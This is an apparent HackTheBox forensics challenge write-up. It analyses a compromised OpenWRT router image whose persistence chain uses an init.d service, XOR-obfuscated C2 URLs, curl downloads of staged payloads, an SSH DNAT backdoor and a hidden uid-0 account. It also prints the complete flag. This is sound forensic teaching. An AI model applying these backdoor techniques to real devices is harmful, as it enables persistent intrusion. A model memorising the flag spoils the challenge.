HTB: ZombieNet Challenge
ZombieNet - HackTheBox Challenge Writeup
| Field | Value |
|---|---|
| Name | ZombieNet |
| Category | Forensics |
| Difficulty | Medium |
| Author | d3vn0mi |
Challenge Description
Hackster University’s Network Operations Center (NOC) suffered a major attack resulting in the compromise of numerous network devices. After successfully repelling the initial assault, the compromised devices were decommissioned and sent for forensic inspection. However, suspicion remains that the attackers maintained persistent backdoor access despite remediation efforts.
Your task is to investigate a disk image from a recently decommissioned network device and uncover how the attackers (the “Zombies”) maintained their command-and-control access to the compromised infrastructure.
Challenge Note: Edit /etc/hosts to resolve discovered hostnames to the Docker instance IP.
Solution Overview
This challenge requires extracting and analyzing a firmware image from a compromised OpenWRT router, uncovering a multi-layered persistence mechanism involving obfuscated binaries, RC4 encryption, and a live C2 service.
Flag
HTB{<redacted>}Key Steps
Step 1: Obtain and Extract the Real Firmware Image
The challenge directory contains a 0-byte dummy firmware. The actual 6.4 MB firmware image is packaged in /out/<checkpoint_id>.zip (password: hackthebox).
# Extract the real firmware archivecd /tmp && mkdir -p realfw && cd realfwunzip -P hackthebox /out/<checkpoint_id>.zip
# Verify the firmware filefile openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin# Output: Linux Kernel Image or uImage (MIPS, 32-bit, gzip)Device Profile: Xiaomi Mi Router 4A (Gigabit) — MIPS32 architecture, Linux 5.15.137
Step 2: Extract the squashfs Filesystem
# Locate the squashfs offset and extractbinwalk -e --run-as=root openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin
# Or manually extract using dd + 7zdd if=openwrt-ramips-mt7621-xiaomi_mi-router-4a-gigabit-squashfs-sysupgrade.bin \ of=root.squashfs bs=1 skip=<offset>7z x -y -osquashfs-root root.squashfsStep 3: Identify the Persistence Mechanism
Navigate to the extracted filesystem and examine init.d:
cd squashfs-root
# List startup servicesls -la etc/init.d/
# Examine the suspicious "dead-reanimation" servicecat etc/init.d/dead-reanimationOutput reveals:
#!/bin/sh /etc/rc.commonSTART=95STOP=10
start() { /sbin/zombie_runner}Key Detail: START=95 means this service launches near the end of boot — after most legitimate services. The service spawns /sbin/zombie_runner.
Step 4: Analyze the Zombie Runner Loop
file sbin/zombie_runner# Output: ELF 32-bit LSB executable, MIPS, MIPS32 release 2
# Extract and decode the shell scriptstrings sbin/zombie_runner | grep -E "(dead-reanimation|/usr/bin|system)"The zombie_runner behavior:
- Infinite loop that calls
/usr/bin/dead-reanimationevery 600 seconds - Ensures persistence by continuously re-executing the main C2 agent
- If killed, the init.d service respawns it at boot
Step 5: Extract and Decode the Dead-Reanimation Binary
The main C2 agent is a MIPS ELF binary with XOR-obfuscated strings.
# Identify the XOR key locationpython3 << 'EOF'import binascii
binary = open('usr/bin/dead-reanimation', 'rb').read()
# The first 32-byte blob is the XOR keykey = binary[0xf24:0xf24 + 32]print(f"XOR Key (hex): {binascii.hexlify(key).decode()}")print(f"XOR Key (repr): {key}")
# All subsequent strings are XOR-decoded using key[i % 32]EOFDecode all strings in the binary:
import binascii
binary = bytearray(open('usr/bin/dead-reanimation', 'rb').read())key = binary[0xf24:0xf24 + 32]
def xor_decode(data, key): return bytes(data[i] ^ key[i % len(key)] for i in range(len(data)))
# Scan for encoded sequencesfor offset in range(0, len(binary) - 32): candidate = binary[offset:offset + 32] decoded = xor_decode(candidate, key) if all(32 <= b < 127 for b in decoded if b): # Printable ASCII check print(f"0x{offset:04x}: {decoded}")Critical strings recovered:
http://configs.router.htb/reanimate.sh_jEzOWMtZTUxOS00http://configs.router.htb/dead_reanimated_mNmZTMtN...d2c0ba035fe58753c648066d76fa793bea92ef29(RC4 key / SHA1 hash)
Step 6: Contact the C2 Server
The Werkzeug Flask service running on 154.57.164.83:30416 is the actual C2 server masquerading as configs.router.htb.
# Add hostname resolutionecho "154.57.164.83 configs.router.htb" >> /etc/hosts
# Fetch the first payload (reanimate.sh) with proper Host headercurl -s -H "Host: configs.router.htb" \ http://154.57.164.83:30416/reanimate.sh_jEzOWMtZTUxOS00 \ -o /tmp/reanimate.sh
# Fetch the second payload (dead_reanimated binary)curl -s -H "Host: configs.router.htb" \ http://154.57.164.83:30416/dead_reanimated_mNmZTMtN... \ -o /tmp/dead_reanimatedStep 7: Extract the Flag Prefix from reanimate.sh
The reanimate.sh script contains the flag prefix encoded in an authentication cookie:
# Search for the auth_token cookiegrep -ao 'auth_token=[^"]*' /tmp/reanimate.sh# Output: auth_token=SFRCe1owbWIxM3NfaDR2M19pbmY
# Decode the base64 cookiepython3 -c "import base64cookie = 'SFRCe1owbWIxM3NfaDR2M19pbmY'prefix = base64.b64decode(cookie + '=').decode()print('Flag Prefix:', prefix)# Output: HTB{Z0mb13s_h4v3_inf"reanimate.sh actions:
- Opens a firewall DNAT rule: WAN port 61337 → SSH port 22 (backdoor access)
- Beacons to the C2 server with the cookie containing the flag prefix
- Persists across reboots via init.d
Step 8: Decrypt the Flag Suffix Using RC4
The second payload (dead_reanimated) is another MIPS ELF containing:
- A command to create a hidden root user (
zombie_lord, uid=0, gid=0) - An RC4-encrypted blob containing the flag suffix
import hashlib
# The RC4 key is derived from a SHA1 string found in the binarykey_string = "d2c0ba035fe58753c648066d76fa793bea92ef29"rc4_key = hashlib.sha1(key_string.encode()).digest()
# RC4-encrypted blob (extracted from binary at offset 0xd50)encrypted_blob = bytes.fromhex('c57c2b05489...') # 27 bytes
# Implement RC4 key scheduling and stream generationdef rc4_ksa(key): S = list(range(256)) j = 0 for i in range(256): j = (j + S[i] + key[i % len(key)]) % 256 S[i], S[j] = S[j], S[i] return S
def rc4_prga(S, length): i = j = 0 keystream = [] for _ in range(length): i = (i + 1) % 256 j = (j + S[i]) % 256 S[i], S[j] = S[j], S[i] K = S[(S[i] + S[j]) % 256] keystream.append(K) return bytes(keystream)
S = rc4_ksa(rc4_key)keystream = rc4_prga(S, len(encrypted_blob))decrypted = bytes(encrypted_blob[i] ^ keystream[i] for i in range(len(encrypted_blob)))
print('Flag Suffix:', decrypted.decode())# Output: 3ct3d_0ur_c0mmun1c4t10ns!!}Step 9: Reconstruct the Complete Flag
prefix = "HTB{Z0mb13s_h4v3_inf"suffix = "3ct3d_0ur_c0mmun1c4t10ns!!}"
flag = prefix + suffixprint(flag)# Output: HTB{Z0mb13s_h4v3_inf3ct3d_0ur_c0mmun1c4t10ns!!}Complete Persistence Chain
Boot (OpenWRT Linux 5.15.137) ↓procd init system reads /etc/init.d/ ↓START=95 → /sbin/zombie_runner spawns ↓zombie_runner → infinite loop ↓Every 600 seconds: /usr/bin/dead-reanimation ↓dead-reanimation decodes XOR strings → discovers C2 URLs ↓HTTP GET /reanimate.sh_jEzOWMtZTUxOS00 (Host: configs.router.htb) ├─ Downloads firewall backdoor script ├─ Opens WAN:61337 → SSH:22 DNAT └─ Beacons with auth_token cookie (contains flag prefix) ↓HTTP GET /dead_reanimated_mNmZTMtN... ├─ Downloads second-stage payload ├─ Creates uid-0 backdoor user (zombie_lord) └─ Holds RC4-encrypted flag suffix ↓Attacker maintains full remote access via SSH backdoorTools Used
| Tool | Purpose |
|---|---|
| binwalk | Firmware image analysis and extraction |
| 7z | Squashfs filesystem decompression |
| strings | Extract printable strings from binaries |
| xxd | Hex dump analysis for offset identification |
| curl | HTTP requests to C2 server with custom headers |
| Python3 | XOR/RC4 cryptographic operations, base64 decoding |
| grep | Pattern matching in binary/text data |
Key Learnings
-
OpenWRT Persistence via Init Services
TheSTART=95priority ensures the zombie service launches after critical services, making detection harder. The service continuously re-executes the C2 agent every 600 seconds for redundancy. -
Obfuscated Firmware Payloads
XOR-obfuscation with a 32-byte key embedded in the binary is a common (but weak) evasion technique. The key itself becomes a signature for forensic analysis. -
Multi-Stage Payload Architecture
The attack uses two stages: the first establishes remote access (firewall DNAT), the second creates a persistent user account. Flag data is split across payloads to complicate recovery. -
RC4 Cryptography in Embedded Systems
While RC4 is cryptographically broken, it remains used in embedded/firmware contexts due to small code footprint. The key derivation from a string constant weakens security further. -
C2 Communication Without Domain Registration
The/etc/hostshostnameconfigs.router.htbpoints to the challenge server rather than requiring actual DNS resolution — a critical IOC for forensic investigation. -
Flag Splitting Across Payloads
Distributing flag fragments (prefix in auth token, suffix in RC4 blob) tests the analyst’s ability to correlate multiple data sources and apply different decryption methods.